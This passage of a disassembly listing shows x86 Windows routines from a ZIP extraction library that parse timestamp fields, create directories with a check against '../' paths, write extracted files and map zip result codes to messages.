		jz	short loc_430593


loc_43057E:				; CODE XREF: sub_4301DC+390j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+108h]
		or	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+108h], ecx


loc_430593:				; CODE XREF: sub_4301DC+3A0j
		mov	eax, [ebp+var_84]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4305B7
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+108h]
		or	edx, 4
		mov	eax, [ebp+arg_4]
		mov	[eax+108h], edx


loc_4305B7:				; CODE XREF: sub_4301DC+3C4j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_40]
		mov	[ecx+124h], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_3C]
		mov	[eax+128h], ecx
		mov	edx, [ebp+var_48]
		and	edx, 0FFFFh
		mov	[ebp+var_80], dx
		mov	eax, [ebp+var_48]
		shr	eax, 10h
		and	eax, 0FFFFh
		mov	[ebp+var_68], ax
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	dx, [ebp+var_80]
		push	edx
		mov	ax, [ebp+var_68]
		push	eax
		call	dword_433090	; DosDateTimeToFileTime
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_60]
		mov	[ecx+10Ch], edx
		mov	eax, [ebp+var_5C]
		mov	[ecx+110h], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_60]
		mov	[ecx+114h], edx
		mov	eax, [ebp+var_5C]
		mov	[ecx+118h], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_60]
		mov	[ecx+11Ch], edx
		mov	eax, [ebp+var_5C]
		mov	[ecx+120h], eax
		mov	[ebp+var_7C], 0


loc_430645:				; CODE XREF: sub_4301DC+4D4j
		mov	ecx, [ebp+var_7C]
		add	ecx, 4
		cmp	ecx, [ebp+var_64]
		jnb	loc_430817
		mov	edx, [ebp+var_70]
		add	edx, [ebp+var_7C]
		mov	al, [edx]
		mov	[ebp+var_1B4], al
		mov	ecx, [ebp+var_70]
		add	ecx, [ebp+var_7C]
		mov	dl, [ecx+1]
		mov	[ebp+var_1B3], dl
		mov	[ebp+var_1B2], 0
		mov	eax, [ebp+var_70]
		add	eax, [ebp+var_7C]
		movsx	ecx, byte ptr [eax+2]
		mov	[ebp+var_1A4], ecx
		push	offset aUt	; "UT"
		lea	edx, [ebp+var_1B4]
		push	edx
		call	sub_431914	; strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_4306B2
		mov	eax, [ebp+var_1A4]
		mov	ecx, [ebp+var_7C]
		lea	edx, [ecx+eax+4]
		mov	[ebp+var_7C], edx
		jmp	short loc_430645
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: sub_4301DC+4C2j
		mov	eax, [ebp+var_70]
		add	eax, [ebp+var_7C]
		movsx	ecx, byte ptr [eax+4]
		mov	[ebp+var_1A0], ecx
		mov	edx, [ebp+var_1A0]
		and	edx, 1
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_1A8],	dl
		mov	eax, [ebp+var_1A0]
		and	eax, 2
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_1B0],	al
		mov	ecx, [ebp+var_1A0]
		and	ecx, 4
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	byte ptr [ebp+var_1AC],	cl
		mov	edx, [ebp+var_7C]
		add	edx, 5
		mov	[ebp+var_7C], edx
		mov	eax, [ebp+var_1A8]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_430766
		mov	ecx, [ebp+var_70]
		add	ecx, [ebp+var_7C]
		mov	edx, [ecx]
		mov	[ebp+var_1B8], edx
		mov	eax, [ebp+var_7C]
		add	eax, 4
		mov	[ebp+var_7C], eax
		mov	ecx, [ebp+var_1B8]
		push	ecx
		call	sub_4300B2
		add	esp, 4
		mov	[ebp+var_1D0], eax
		mov	[ebp+var_1CC], edx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1D0]
		mov	[edx+11Ch], eax
		mov	ecx, [ebp+var_1CC]
		mov	[edx+120h], ecx


loc_430766:				; CODE XREF: sub_4301DC+53Bj
		mov	edx, [ebp+var_1B0]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4307C3
		mov	eax, [ebp+var_70]
		add	eax, [ebp+var_7C]
		mov	ecx, [eax]
		mov	[ebp+var_1BC], ecx
		mov	edx, [ebp+var_7C]
		add	edx, 4
		mov	[ebp+var_7C], edx
		mov	eax, [ebp+var_1BC]
		push	eax
		call	sub_4300B2
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_1D4], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1D8]
		mov	[ecx+10Ch], edx
		mov	eax, [ebp+var_1D4]
		mov	[ecx+110h], eax


loc_4307C3:				; CODE XREF: sub_4301DC+598j
		mov	ecx, [ebp+var_1AC]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_430817
		mov	edx, [ebp+var_70]
		add	edx, [ebp+var_7C]
		mov	eax, [edx]
		mov	[ebp+var_1C0], eax
		mov	ecx, [ebp+var_1C0]
		push	ecx
		call	sub_4300B2
		add	esp, 4
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_1DC], edx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1E0]
		mov	[edx+114h], eax
		mov	ecx, [ebp+var_1DC]
		mov	[edx+118h], ecx


loc_430817:				; CODE XREF: sub_4301DC+472j
					; sub_4301DC+5F5j
		cmp	[ebp+var_70], 0
		jz	short loc_430835
		mov	edx, [ebp+var_70]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_1E4]
		push	eax
		call	sub_43177E
		add	esp, 4


loc_430835:				; CODE XREF: sub_4301DC+63Fj
		push	12Ch
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_1E8]
		add	edx, 8
		push	edx
		call	sub_4318C4	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1E8]
		mov	ecx, [ebp+arg_0]
		mov	[eax+134h], ecx
		xor	eax, eax


loc_430861:				; CODE XREF: sub_4301DC+2Aj
					; sub_4301DC+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4301DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430867	proc near		; CODE XREF: TEUm:004314FCp
					; TEUm:0043157Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		neg	eax
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		push	eax
		call	sub_42F59A
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4308D5
		cmp	[ebp+arg_8], 0
		jz	short loc_4308AC
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh


loc_4308AC:				; CODE XREF: sub_430867+3Aj
		cmp	[ebp+arg_C], 0
		jz	short loc_4308CE
		push	12Ch
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_4318B2	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0FFFFFFFFh


loc_4308CE:				; CODE XREF: sub_430867+49j
		mov	eax, 500h
		jmp	short loc_430935
; ---------------------------------------------------------------------------


loc_4308D5:				; CODE XREF: sub_430867+34j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jz	short loc_4308EC
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		push	eax
		call	sub_42FF37
		add	esp, 4


loc_4308EC:				; CODE XREF: sub_430867+75j
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx+4], 0FFFFFFFFh
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		mov	ecx, [eax+10h]
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_43090F
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_8]
		mov	[edx], eax


loc_43090F:				; CODE XREF: sub_430867+9Ej
		cmp	[ebp+arg_C], 0
		jz	short loc_430933
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	ecx, [ebp+var_10]
		call	sub_4301DC
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_430933
		mov	eax, [ebp+var_C]
		jmp	short loc_430935
; ---------------------------------------------------------------------------


loc_430933:				; CODE XREF: sub_430867+ACj
					; sub_430867+C5j
		xor	eax, eax


loc_430935:				; CODE XREF: sub_430867+6Cj
					; sub_430867+CAj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_430867	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43093B	proc near		; CODE XREF: sub_43093B+B4p
					; sub_430A42+227p ...

var_214		= byte ptr -214h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		cmp	[ebp+arg_4], 0
		jz	short loc_430954
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_430959


loc_430954:				; CODE XREF: sub_43093B+Dj
		jmp	loc_430A3E
; ---------------------------------------------------------------------------


loc_430959:				; CODE XREF: sub_43093B+17j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_10C], edx
		mov	eax, [ebp+var_10C]
		mov	[ebp+var_4], eax


loc_43096B:				; CODE XREF: sub_43093B+62j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_43099F
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Fh
		jz	short loc_43098B
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_430994


loc_43098B:				; CODE XREF: sub_43093B+43j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_10C], ecx


loc_430994:				; CODE XREF: sub_43093B+4Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_43096B
; ---------------------------------------------------------------------------


loc_43099F:				; CODE XREF: sub_43093B+38j
		mov	eax, [ebp+var_10C]
		mov	[ebp+var_110], eax
		mov	ecx, [ebp+var_10C]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_430A06
		mov	edx, [ebp+var_10C]
		sub	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_214]
		push	ecx
		call	sub_422680
		add	esp, 0Ch
		mov	edx, [ebp+var_10C]
		sub	edx, [ebp+arg_4]
		mov	[ebp+edx+var_214], 0
		lea	eax, [ebp+var_214]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_43093B
		add	esp, 8
		mov	edx, [ebp+var_110]
		add	edx, 1
		mov	[ebp+var_110], edx


loc_430A06:				; CODE XREF: sub_43093B+79j
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_108]
		push	ecx
		call	sub_4318B8	; strcpy
		add	esp, 8
		mov	edx, [ebp+var_110]
		push	edx
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4318D0	; strcat
		add	esp, 8
		push	0
		lea	ecx, [ebp+var_108]
		push	ecx
		call	dword_433030	; CreateDirectoryA


loc_430A3E:				; CODE XREF: sub_43093B:loc_430954j
		mov	esp, ebp
		pop	ebp
		retn
sub_43093B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430A42	proc near		; CODE XREF: sub_431620+58p

var_4264	= dword	ptr -4264h
var_4260	= dword	ptr -4260h
var_425C	= dword	ptr -425Ch
var_4258	= byte ptr -4258h
var_4251	= byte ptr -4251h
var_4250	= byte ptr -4250h
var_424F	= byte ptr -424Fh
var_414C	= dword	ptr -414Ch
var_4148	= dword	ptr -4148h
var_4144	= dword	ptr -4144h
var_4140	= dword	ptr -4140h
var_413C	= dword	ptr -413Ch
var_4138	= dword	ptr -4138h
var_4134	= dword	ptr -4134h
var_4130	= dword	ptr -4130h
var_412C	= byte ptr -412Ch
var_4128	= byte ptr -4128h
var_4024	= dword	ptr -4024h
var_4020	= byte ptr -4020h
var_4018	= byte ptr -4018h
var_4010	= byte ptr -4010h
var_4000	= byte ptr -4000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 4264h
		call	sub_431860
		push	ebx
		push	esi
		mov	[ebp+var_4260],	ecx
		cmp	[ebp+arg_C], 3
		jz	short loc_430A73
		cmp	[ebp+arg_C], 2
		jz	short loc_430A73
		cmp	[ebp+arg_C], 1
		jz	short loc_430A73
		mov	eax, 10000h
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430A73:				; CODE XREF: sub_430A42+19j
					; sub_430A42+1Fj ...
		cmp	[ebp+arg_C], 3
		jnz	loc_430B9E
		mov	eax, [ebp+var_4260]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+4]
		jz	loc_430B34
		mov	edx, [ebp+var_4260]
		cmp	dword ptr [edx+4], 0FFFFFFFFh
		jz	short loc_430AAC
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42FF37
		add	esp, 4


loc_430AAC:				; CODE XREF: sub_430A42+57j
		mov	edx, [ebp+var_4260]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+4]
		jl	short loc_430AD3
		mov	eax, 10000h
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430AD3:				; CODE XREF: sub_430A42+85j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		cmp	edx, [ecx+10h]
		jge	short loc_430AF4
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F473
		add	esp, 4


loc_430AF4:				; CODE XREF: sub_430A42+9Fj
					; sub_430A42+D3j
		mov	edx, [ebp+var_4260]
		mov	eax, [edx]
		mov	ecx, [eax+10h]
		cmp	ecx, [ebp+arg_0]
		jge	short loc_430B17
		mov	edx, [ebp+var_4260]
		mov	eax, [edx]
		push	eax
		call	sub_42F4E1
		add	esp, 4
		jmp	short loc_430AF4
; ---------------------------------------------------------------------------


loc_430B17:				; CODE XREF: sub_430A42+C0j
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42F940
		add	esp, 4
		mov	eax, [ebp+var_4260]
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx


loc_430B34:				; CODE XREF: sub_430A42+47j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42FB02
		add	esp, 0Ch
		mov	[ebp+var_4140],	eax
		cmp	[ebp+var_4140],	0
		jle	short loc_430B66
		mov	eax, 600h
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430B66:				; CODE XREF: sub_430A42+118j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42FF37
		add	esp, 4
		mov	edx, [ebp+var_4260]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		cmp	[ebp+var_4140],	0
		jnz	short loc_430B94
		xor	eax, eax
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430B94:				; CODE XREF: sub_430A42+149j
		mov	eax, 5000000h
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430B9E:				; CODE XREF: sub_430A42+35j
		mov	eax, [ebp+var_4260]
		cmp	dword ptr [eax+4], 0FFFFFFFFh
		jz	short loc_430BBB
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42FF37
		add	esp, 4


loc_430BBB:				; CODE XREF: sub_430A42+166j
		mov	eax, [ebp+var_4260]
		mov	dword ptr [eax+4], 0FFFFFFFFh
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+4]
		jl	short loc_430BE2
		mov	eax, 10000h
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430BE2:				; CODE XREF: sub_430A42+194j
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+10h]
		jge	short loc_430C03
		mov	ecx, [ebp+var_4260]
		mov	edx, [ecx]
		push	edx
		call	sub_42F473
		add	esp, 4


loc_430C03:				; CODE XREF: sub_430A42+1AEj
					; sub_430A42+1E2j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+arg_0]
		jge	short loc_430C26
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F4E1
		add	esp, 4
		jmp	short loc_430C03
; ---------------------------------------------------------------------------


loc_430C26:				; CODE XREF: sub_430A42+1CFj
		lea	edx, [ebp+var_412C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4260]
		call	sub_4301DC
		mov	ecx, [ebp+var_4024]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_430C78
		cmp	[ebp+arg_C], 1
		jnz	short loc_430C56
		xor	eax, eax
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430C56:				; CODE XREF: sub_430A42+20Bj
		lea	edx, [ebp+var_4128]
		push	edx
		mov	eax, [ebp+var_4260]
		add	eax, 138h
		push	eax
		call	sub_43093B
		add	esp, 8
		xor	eax, eax
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430C78:				; CODE XREF: sub_430A42+205j
		cmp	[ebp+arg_C], 1
		jnz	short loc_430C8C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4134],	ecx
		jmp	loc_430DFE
; ---------------------------------------------------------------------------


loc_430C8C:				; CODE XREF: sub_430A42+23Aj
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4148],	edx
		mov	eax, [ebp+var_4148]
		mov	[ebp+var_4144],	eax


loc_430CA1:				; CODE XREF: sub_430A42+2A6j
		mov	ecx, [ebp+var_4144]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_430CEA
		mov	eax, [ebp+var_4144]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Fh
		jz	short loc_430CCA
		mov	edx, [ebp+var_4144]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_430CD9


loc_430CCA:				; CODE XREF: sub_430A42+278j
		mov	ecx, [ebp+var_4144]
		add	ecx, 1
		mov	[ebp+var_4148],	ecx


loc_430CD9:				; CODE XREF: sub_430A42+286j
		mov	edx, [ebp+var_4144]
		add	edx, 1
		mov	[ebp+var_4144],	edx
		jmp	short loc_430CA1
; ---------------------------------------------------------------------------


loc_430CEA:				; CODE XREF: sub_430A42+26Aj
		mov	eax, [ebp+var_4148]
		cmp	eax, [ebp+arg_4]
		jz	loc_430DDA
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_4250]
		push	edx
		call	sub_4318B8	; strcpy
		add	esp, 8
		mov	eax, [ebp+var_4148]
		sub	eax, [ebp+arg_4]
		mov	[ebp+eax+var_4251], 0
		movsx	ecx, [ebp+var_4250]
		cmp	ecx, 2Fh
		jz	short loc_430D4D
		movsx	edx, [ebp+var_4250]
		cmp	edx, 5Ch
		jz	short loc_430D4D
		movsx	eax, [ebp+var_424F]
		cmp	eax, 3Ah
		jz	short loc_430D4D
		mov	[ebp+var_4264],	0
		jmp	short loc_430D57
; ---------------------------------------------------------------------------


loc_430D4D:				; CODE XREF: sub_430A42+2E5j
					; sub_430A42+2F1j ...
		mov	[ebp+var_4264],	1


loc_430D57:				; CODE XREF: sub_430A42+309j
		mov	cl, byte ptr [ebp+var_4264]
		mov	byte ptr [ebp+var_414C], cl
		mov	ebx, [ebp+var_414C]
		and	ebx, 0FFh
		push	offset a__	; "../"
		lea	edx, [ebp+var_4250]
		push	edx
		call	sub_431730
		add	esp, 8
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		push	offset a___0	; "..\\"
		lea	eax, [ebp+var_4250]
		push	eax
		call	sub_431730
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		or	esi, eax
		or	ebx, esi
		mov	byte ptr [ebp+var_414C], bl
		mov	ecx, [ebp+var_414C]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_430DDA
		lea	edx, [ebp+var_4250]
		push	edx
		mov	eax, [ebp+var_4260]
		add	eax, 138h
		push	eax
		call	sub_43093B
		add	esp, 8


loc_430DDA:				; CODE XREF: sub_430A42+2B1j
					; sub_430A42+37Bj
		push	0
		mov	ecx, [ebp+var_4024]
		push	ecx
		push	2
		push	0
		push	0
		push	40000000h
		mov	edx, [ebp+arg_4]
		push	edx
		call	dword_433018	; CreateFileA
		mov	[ebp+var_4134],	eax


loc_430DFE:				; CODE XREF: sub_430A42+245j
		cmp	[ebp+var_4134],	0FFFFFFFFh
		jnz	short loc_430E11
		mov	eax, 200h
		jmp	loc_430F50
; ---------------------------------------------------------------------------


loc_430E11:				; CODE XREF: sub_430A42+3C3j
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42F940
		add	esp, 4
		mov	byte ptr [ebp+var_4138], 0


loc_430E29:				; CODE XREF: sub_430A42:loc_430EA5j
		push	4000h
		lea	edx, [ebp+var_4000]
		push	edx
		mov	eax, [ebp+var_4260]
		mov	ecx, [eax]
		push	ecx
		call	sub_42FB02
		add	esp, 0Ch
		mov	[ebp-4254h], eax
		cmp	dword ptr [ebp-4254h], 0
		jge	short loc_430E5E
		mov	byte ptr [ebp+var_4138], 1
		jmp	short loc_430EA7
; ---------------------------------------------------------------------------


loc_430E5E:				; CODE XREF: sub_430A42+411j
		cmp	dword ptr [ebp-4254h], 0
		jnz	short loc_430E69
		jmp	short loc_430EA7
; ---------------------------------------------------------------------------


loc_430E69:				; CODE XREF: sub_430A42+423j
		push	0
		lea	edx, [ebp+var_4258]
		push	edx
		mov	eax, [ebp-4254h]
		push	eax
		lea	ecx, [ebp+var_4000]
		push	ecx
		mov	edx, [ebp+var_4134]
		push	edx
		call	dword_433050	; WriteFile
		mov	[ebp+var_425C],	eax
		cmp	[ebp+var_425C],	0
		jnz	short loc_430EA5
		mov	byte ptr [ebp+var_4138], 1
		jmp	short loc_430EA7
; ---------------------------------------------------------------------------


loc_430EA5:				; CODE XREF: sub_430A42+458j
		jmp	short loc_430E29
; ---------------------------------------------------------------------------


loc_430EA7:				; CODE XREF: sub_430A42+41Aj
					; sub_430A42+425j ...
		mov	byte ptr [ebp+var_413C], 0
		mov	eax, [ebp+var_4134]
		push	eax
		call	dword_4330A0	; GetFileType
		mov	[ebp+var_4130],	eax
		cmp	[ebp+var_4130],	1
		jnz	short loc_430EE1
		mov	ecx, [ebp+var_4138]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_430EE1
		mov	byte ptr [ebp+var_413C], 1


loc_430EE1:				; CODE XREF: sub_430A42+486j
					; sub_430A42+496j
		mov	edx, [ebp+var_413C]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_430F13
		lea	eax, [ebp+var_4010]
		push	eax
		lea	ecx, [ebp+var_4020]
		push	ecx
		lea	edx, [ebp+var_4018]
		push	edx
		mov	eax, [ebp+var_4134]
		push	eax
		call	dword_43308C	; SetFileTime


loc_430F13:				; CODE XREF: sub_430A42+4ADj
		cmp	[ebp+arg_C], 1
		jz	short loc_430F26
		mov	ecx, [ebp+var_4134]
		push	ecx
		call	dword_433020	; CloseHandle


loc_430F26:				; CODE XREF: sub_430A42+4D5j
		mov	edx, [ebp+var_4260]
		mov	eax, [edx]
		push	eax
		call	sub_42FF37
		add	esp, 4
		mov	ecx, [ebp+var_4138]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_430F4E
		mov	eax, 400h
		jmp	short loc_430F50
; ---------------------------------------------------------------------------


loc_430F4E:				; CODE XREF: sub_430A42+503j
		xor	eax, eax


loc_430F50:				; CODE XREF: sub_430A42+2Cj
					; sub_430A42+8Cj ...
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_430A42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430F58	proc near		; CODE XREF: sub_43168B+48p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0FFFFFFFFh
		jz	short loc_430F76
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		call	sub_42FF37
		add	esp, 4


loc_430F76:				; CODE XREF: sub_430F58+Ej
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	short loc_430F96
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		call	sub_42EF38
		add	esp, 4


loc_430F96:				; CODE XREF: sub_430F58+2Ej
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_430F58	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword ptr [ebp+8], 1
		jnz	short loc_430FB9
		mov	eax, ds:dword_43BD44
		mov	[ebp+8], eax


loc_430FB9:				; CODE XREF: TEUm:00430FAFj
		mov	dword ptr [ebp-8], offset aUnknownZipResu ; "unknown zip result	code"
		mov	ecx, [ebp+8]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 20000h
		ja	loc_43108E
		cmp	dword ptr [ebp-10h], 20000h
		jz	loc_4311B4
		cmp	dword ptr [ebp-10h], 500h
		ja	short loc_431047
		cmp	dword ptr [ebp-10h], 500h
		jz	loc_43117B
		cmp	dword ptr [ebp-10h], 200h
		ja	short loc_431028
		cmp	dword ptr [ebp-10h], 200h
		jz	loc_431157
		cmp	dword ptr [ebp-10h], 0
		jz	loc_43113F
		cmp	dword ptr [ebp-10h], 100h
		jz	loc_43114B
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_431028:				; CODE XREF: TEUm:00430FFDj
		cmp	dword ptr [ebp-10h], 300h
		jz	loc_431163
		cmp	dword ptr [ebp-10h], 400h
		jz	loc_43116F
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_431047:				; CODE XREF: TEUm:00430FE7j
		cmp	dword ptr [ebp-10h], 800h
		ja	short loc_43107C
		cmp	dword ptr [ebp-10h], 800h
		jz	loc_431199
		cmp	dword ptr [ebp-10h], 600h
		jz	loc_431187
		cmp	dword ptr [ebp-10h], 700h
		jz	loc_431190
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_43107C:				; CODE XREF: TEUm:0043104Ej
		cmp	dword ptr [ebp-10h], 10000h
		jz	loc_4311A2
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_43108E:				; CODE XREF: TEUm:00430FCDj
		cmp	dword ptr [ebp-10h], 80000h
		ja	short loc_4310F8
		cmp	dword ptr [ebp-10h], 80000h
		jz	loc_4311D8
		cmp	dword ptr [ebp-10h], 50000h
		ja	short loc_4310D9
		cmp	dword ptr [ebp-10h], 50000h
		jz	loc_4311CF
		cmp	dword ptr [ebp-10h], 30000h
		jz	loc_4311BD
		cmp	dword ptr [ebp-10h], 40000h
		jz	loc_4311C6
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_4310D9:				; CODE XREF: TEUm:004310ABj
		cmp	dword ptr [ebp-10h], 60000h
		jz	loc_4311F3
		cmp	dword ptr [ebp-10h], 70000h
		jz	loc_4311AB
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_4310F8:				; CODE XREF: TEUm:00431095j
		cmp	dword ptr [ebp-10h], 4000000h
		ja	short loc_43112D
		cmp	dword ptr [ebp-10h], 4000000h
		jz	loc_4311FC
		cmp	dword ptr [ebp-10h], 1000000h
		jz	loc_4311E1
		cmp	dword ptr [ebp-10h], 2000000h
		jz	loc_4311EA
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_43112D:				; CODE XREF: TEUm:004310FFj
		cmp	dword ptr [ebp-10h], 5000000h
		jz	loc_431205
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_43113F:				; CODE XREF: TEUm:00431010j
		mov	dword ptr [ebp-8], offset aSuccess ; "Success"
		jmp	loc_43120C
; ---------------------------------------------------------------------------


loc_43114B:				; CODE XREF: TEUm:0043101Dj
		mov	dword ptr [ebp-8], offset aCuldnTDuplicat ; "Culdn't duplicate handle"
		jmp	loc_43120C
; ---------------------------------------------------------------------------


